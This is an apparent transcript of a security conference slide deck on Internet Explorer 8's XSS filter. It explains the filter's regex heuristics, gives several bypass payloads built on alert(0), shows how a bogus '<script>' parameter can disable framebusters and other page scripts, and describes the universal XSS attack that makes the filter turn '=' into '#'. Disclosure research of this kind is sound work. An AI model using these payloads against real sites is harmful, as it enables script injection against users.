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Universal XSS via IE8s XSS Filters

This article explores the intricacies of Internet Explorer 8's XSS filters and their inadequacies in mitigating universal XSS vulnerabilities. We analyze filter mechanics, detection processes using heuristic methods, and various bypass techniques that exploit the filters' flaws. Through detailed descriptions and code examples, we illustrate how attackers can leverage these weaknesses. Additionally, we discuss potential mitigations, the role of other browsers, and the continuing relevance of XSS security in web development.

marah-livingston
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Universal XSS via IE8s XSS Filters

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  1. Universal XSS via IE8s XSS Filters the sordid tale of a wayward hash sign slides: http://p42.us/ie8xss/

  2. About Us • Eduardo Vela Nava aka sirdarckcat • http://sirdarckcat.net • http://twitter.com/sirdarckcat • David Lindsay aka thornmaker • http://p42.us • http://www.cigital.com

  3. Outline • Filter Details • Bypasses • Simple Abuse Cases • uXSS Intro • uXSS Details • Mitigations • Disclosure • Other Browsers

  4. IE8s XSS Filters the mechanics

  5. Client-side XSS Filtering • XSS is extremely common • Reflected XSS is detectable in the browser • NoScript addon for Firefox • IE8 • Chrome

  6. Design Goals "...intended to mitigate reflected / “Type-1” XSS vulnerabilities in a way that does not “break the web.”" -- David Ross • compatible • secure • performant http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx

  7. Detection Process Three step process • Examine all outbound requests for XSS patterns using heuristic filters • If heuristic matches outgoing HTTP request then create dynamic signature • If signature matches HTTP response then neuter response

  8. Heuristics • Matches against GET/POST requests • 23 regular expressions (2 new, 3 updated) hardcoded in mshtml.dll • <sc{r}ipt.*?> • <BA{S}E[ /+\t].*?href[ /+\t]*= • See http://p42.us/ie8xss/filters02.txt http://site/p?name=<script>alert(0)</script> <script>

  9. Dynamic Signatures • One created for each matching heuristic • Matches against inbound responses • Blacklisting regular expressions • Account for server side modifications <div name="greeting"> Hello <script>alert(0)</script>! </div> <script>alert(0)</script>

  10. Neutering Mechanism • No user interaction, just notify the user • Replace the flagged character(s) with the hash symbol: # • Render the altered response <div name="greeting"> Hello <script>alert(0)</script>! </div> #

  11. Heuristics Breakdown • Fixed strings (2) • javascript:, vbscript: • HTML tags (14) • object, applet, base, link, meta, import, embed, vmlframe, iframe, script(2), style, isindex, form • HTML attributes (3) • " datasrc, " style=, " on*= (event handlers) • JavaScript strings (4) • ";location=, ";a.b=, ");a(, ";a(b)

  12. Filter Bypasses the joy of blacklisting

  13. Filter Bypass: 1 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?= • Detects injections like: ",location="jav\u0061script:alert(0)"// • Is an equal sign required? Nope :)

  14. Filter Bypass: 1 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?= • "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// • http://goo.gl/sour What?

  15. Filter Bypass: 1 • How it works • { valueOf: location, toString: [].join, 0: ’payload’, length: 1}

  16. Filter Bypass: 1 • Array.prototype.join=function(p){ var r=""; for(var i=0;i<this.length;i++){ r+=this[i]; if(i)r+=p; } return r;}

  17. Filter Bypass: 1 • How it works? • { valueOf: location, toString: [].join, 0: 'payload', length: 1}

  18. Filter Bypass: 1 • Array.prototype.join=function(p){ var r=""; for(var i=0;i<1;i++){ r+='payload'; if(i)r+=p; } return r;}

  19. Filter Bypass: 1 • How it works? • { valueOf: location, toString: /*returns 'payload'*/}

  20. Filter Bypass: 1 • How it works? • {valueOf: location, toString: /*returns 'payload'*/}

  21. Filter Bypass: 1 • On IE this works: location("http://www.google.com/"); • Behavior: function location(newLoc){ if(!newLoc) newLoc=this; navigate(newLoc+''); }

  22. Filter Bypass: 1 • How it works? • { valueOf: /*navigate(this+'');*/ toString: /*returns 'payload'*/}

  23. Filter Bypass: 1 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?= • "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// • http://goo.gl/sour What?

  24. Filter Bypass: 1 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).*?(location).*?= • "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}// • http://goo.gl/sour

  25. Regular Expressions • Complex • Write only • Not perfect

  26. Filter Bypass: 2 {[\\\"\\'][ ]*(([^a-z~_:\\'\\\" 0-9])|(in)).+?{\\(}.*?{\\)}} • Detects injections like: js_xss=";alert(0)// • Doesn’t detect: foo='&js_xss=";alert(0)//

  27. Filter Bypass: 2 /["'].+?\(.*?\)/ foo='&js_xss=",alert(0)//

  28. Filter Bypass: 2 /["'].+?\(.*?\)/ foo='&js_xss=",alert(0)//

  29. Filter Bypass: 2 /["'].+?\(.*?\)/ foo='&js_xss=",alert(0)// • Heuristics match the payload: '&js_xss=",alert(0)// • The real attack is: ",alert(0)// Oops.

  30. Filter Bypass: 2 • The same bug works for HTML! foo=<a&xss=<x:vmlframe src=payload> The heuristic matches in <a, but the attack starts in <x http://goo.gl/KVDl

  31. Filter Bypass: 3 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?(({[.]}.+?)|({[\[]}.*?{[\]]}.*?))= • Detects: ";document.URL='jav\x61script:alert\x280)'//

  32. Filter Bypass: 3 [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?(({[.]}.+?)|({[\[]}.*?{[\]]}.*?))= • Does not detect: ";x:[document.URL='jav\x61script:alert\x280)']//

  33. Filter Bypass: 3 On IE, backtracking is limited: /x.+?(abc|0.+0)w/('xz0abcw0'); • Doesn’t match: • xz0abcw0 • But it should: • xz0abcw0

  34. Filter Bypass: 3 Simplified heuristic: ".*(\[.+?\]|\..+?)= Doesn’t match ";[document.URL=asdf]// But it should: ";[document.URL=asdf]//

  35. Filter Abuse Attacks made possible because of the filters (the hash symbol loses its way)

  36. Filter Abuse: Simple When an attack is detected, altering the response before rendering can have unintened consequences. • Say attacker supplies a bogus GET parameter of &foo=<script> • <sc{r}ipt.*?> will detect • Any script tag on target page will be disabled

  37. Simple Filter Abuse: 1 How is this useful for an attacker? • Disable client side security features • Block Framebusters • Escape Facebook's CSS Sandbox • Any other JS based security controls • http://www.collinjackson.com/research/xssauditor.pdf contains a summary of the Facebook attack...

  38. Simple Filter Abuse: 1

  39. Simple Filter Abuse: 2 How is this useful for an attacker? • Render JavaScript code as HTML • <script>var foo='<img src=x:x onerror=alert(0)>';</script> • <sc#ipt>var foo='<img src=x:x onerror=alert(0)>'</script>

  40. Simple Filter Abuse: 2 • Demo JS rendered as HTML • http://0x.lv/simple.html • http://0x.lv/simple.html?foo=<script>

  41. Review • An attacker can abuse the filtering mechanism to alter how a page is rendered. • The filters can be abused to enable XSS in situations where it wouldn't otherwise be possible. • Can other filters be abused to enable XSS? Of course!(before Jan.2010 patch)

  42. Universal XSS Intro The hash symbol's fall from grace

  43. Equal Signs • Equal signs are neutered • [\"\'][ ]*(([^a-z0-9~_:\'\"])|(in)).*?(location).*?{=} • [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?(([.].+?)|([\[].*?[\]].*?)){=}

  44. Regular Expression Details [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?(([.].+?)|([\[].*?[\]].*?)){=} • a quote followed by arbitrary spaces • the word "in" or anything not in the list • any characters repeated 1 or more times • a period or brackets plus arbitrary text • an equal sign

  45. Matching Strings [\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)).+?(([.].+?)|([\[].*?[\]].*?)){=} • ",x. x= • ' ;foo. bar = • "=a [foo] bar= • ' **ANY*. *ANY*=

  46. Fake Injections • Almost any = sign on a webpage can be neutered with a suitable "trigger string" • Easiest candidate is something of the form: • ' **ANYTHING*. *ANYTHING*= • Start with target equal sign, find previous period, and then previous quote • append trigger string to URL: • &fake='>anything.anything=

  47. Parsing HTML Quiz • <img alt="red planet" src="mars.png"> • <img alt="red planet" src="mars.png"> • <img alt#"red planet" src="mars.png"> • <imgalt#"red planet" src="mars.png">

  48. Parsing HTML Quiz • <img alt#"w x=y z" src="mars.png"> • <imgalt#"w x=yz" src="mars.png"> • <img alt#"x onload=alert(0) y" src="mars.png"> • <imgalt#"x onload=alert(0)y" src="mars.png"> Note: IE8's source code viewer doesn’t highlight these correctly

  49. Universal XSS Attack of the hash symbol

  50. All Together Now So... • The filters can be used to change = to # by creating a fake trigger string • Changing = to # will allow an attribute value to be parsed as new name/value • An attacker would need to control the value of an HTML attribute

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